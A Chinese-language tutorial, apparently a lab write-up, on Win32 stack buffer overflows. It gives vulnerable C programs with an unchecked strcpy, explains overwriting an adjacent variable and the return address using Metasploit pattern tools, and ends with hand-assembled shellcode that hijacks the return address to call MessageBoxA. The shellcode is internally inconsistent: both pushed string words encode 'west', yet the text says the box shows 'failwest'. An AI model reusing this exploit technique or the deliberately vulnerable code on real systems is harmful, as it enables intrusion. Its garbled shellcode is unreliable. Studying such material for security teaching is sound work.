声明:本章的所有实验都是在Windows 2000 Server上完成的。生成字符串并查找其偏移是在kali 2.0上,查找跳转函数的VA是在windows 10上用IDA。
1. 栈溢出原理
1.1 修改邻接变量的原理
用实例来反映原理
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);
return authenticated;
}
void main()
{
int valid_flag = 0;
char password[1024];
while(1)
{
printf("please input password: ");
scanf("%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulations! You have passed the verification!\n");
break;
}
}
}
于是栈帧布局为:
因此,当你输入7位正确密码("1234567")或者输入8字节其他字符串(比原始字符串要大),都能通过验证。authenticated是int类型,在内存中是DWORD,占4个字节。所以当输入8位后,数组越界,buffer[8]、buffer[9]、buffer[10]、buffer[11]将写入相邻的变量authenticated中。
win32系统中数据是由低位向高位存储一个4字节的双字(DWORD),但作为数值应用时,却是按照由高位字节向低位字节进行解释。如果输入的是1234567,那么结果为:
34 33 32 31
00 37 36 35
一定要注意window字节顺序
1.2 修改函数返回地址
通过覆盖返回地址,我们可以跳转到我们想到达的位置
问题1:如何修改返回地址,并准确的判定返回地址所在位置?
在函数返回的"retn"指令执行时,栈顶元素恰好是这个返回地址。“retn”指令会把这个地址弹入EIP寄存器中,之后跳转到这个地址去执行。栈顶是OllyDbg右侧ESP标灰的那个所以常见的解决办法是:
(1)输入一个较长的字符串,最好这个字符串有一定规律【这里可以使用/usr/share/metasploit-framework/tools/exploit/pattern_create.rb来创建一定长度的指令】,然后查看返回地址所指向的位置,看看是刚才所指定的字符串的哪个位置【这里可以使用/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 来查看字符串出现的地址】
(2)本机实验时,offset位置为16(此处的16指的是起始位置),因此如果想要对该程序的返回地址进行修改的话,就应该是
'a'*16+返回地址(返回地址得逆序编写)
问题2:如何控制程序执行流程?
上面已经讲了如何修改返回地址,所以如果在进入某个子函数之后,有栈溢出,就可以修改相应的返回地址,让其能够跳转至想让其执行代码的位置,这样就能控制流程;
另外一种十分简单的办法就是直接修改PE文件,修改分支指令,这样也可以控制程序执行流程!
2. 代码植入
2.1 测试代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44]; //add local buff to be overflowed
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); //overflowed here!
return authenticated;
}
void main()
{
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); //prepare for messagebox
if (!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
//MessageBoxA(0,"123","123",0);
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulations! You have passed the verification!\n\n");
}
fclose(fp);
}
其中头文件windows.h,是方便程序能够顺利调用LoadLibrary函数去装载user32.dllverify_password函数的局部变量buffer由8个字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码。
main函数中增加了LoadLibrary("user32.dll")用于初始化装载user32.dll,以便在植入代码中调用MessageBox。
需要完成的工作:
- 分析并调试漏洞程序,获得淹没返回地址的偏移
- 获得buffer的起始地址,并将其写入password.txt的相应偏移,用来冲刷返回地址
- 向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。
MSDN对该函数的解释如下:
int WINAPI MessageBox(
_In_opt_ HWND hWnd, //handle to owner window
_In_opt_ LPCTSTR lpText, //text in message box
_In_opt_ LPCTSTR lpCaption, //messagebox title
_In_ UINT uType //Messagebox style
);
- hWnd[in] 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口
- IpText[in] 字符串指针,所指字符串会在消息框中显示
- IpCaption[in] 字符串指针,所指字符串将成为消息框的标题
- uType[in] 消息框的风格(单按钮、多按钮等),NULL代表默认风格
熟悉MFC的程序员都知道,系统其实并不存在真正的MessageBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类型函数(UNICODE)调用。因此,本文中用的是MessageBoxA。
用汇编语言调用MessageBoxA需要三个步骤
- 装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形界面的程序都已经装载了该库,但是本实验的Console程序并没有默认加载。
- 在汇编语言中调用该函数需要获得这个函数的入口地址
- 在调用前需要向栈中从右向左的顺序压入MessageBoxA的4个参数
下面将让弹出的窗口显示标题和文本内容都为“failwest”,而压入的第一个和第四个参数都为NULL。
机器代码(十六进制) | 汇编指令 | 注释 |
---|---|---|
33DB | XOR EBX, EBX | |
53 | PUSH EBX | |
6877657374 | PUSH 74736577 | |
6877657374 | PUSH 74736577 | 压入NULL结尾的"failwest"字符串。之所以使用EBX清零后作为字符串的截断符,是为了避免"PUSH 0"中的NULL,否则植入的机器码会被strcpy函数截断 |
8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | 4个参数按照从右向左的顺序入栈,分别是(0,failwest,failwest,0) |
消息框是默认风格,文本区和标题都是"failwest"|
|B84465E177|MOV EAX, 0x77E16544|
|FFD0|CALL EAX|调用函数MessageBoxA。这里的地址依据机器而定|
然后在这些代码与53—56处的buffer中0x0012FAF0(返回地址),其余的字节用0x90(nop指令)填充。
shellcode[] = "\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x77\x65\x73\x74
\x8b\xc4\x53\x50\x50\x53\xb8\x44\x65\xe1\x77\xff\xd0\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xf0\xfa\x12\x00"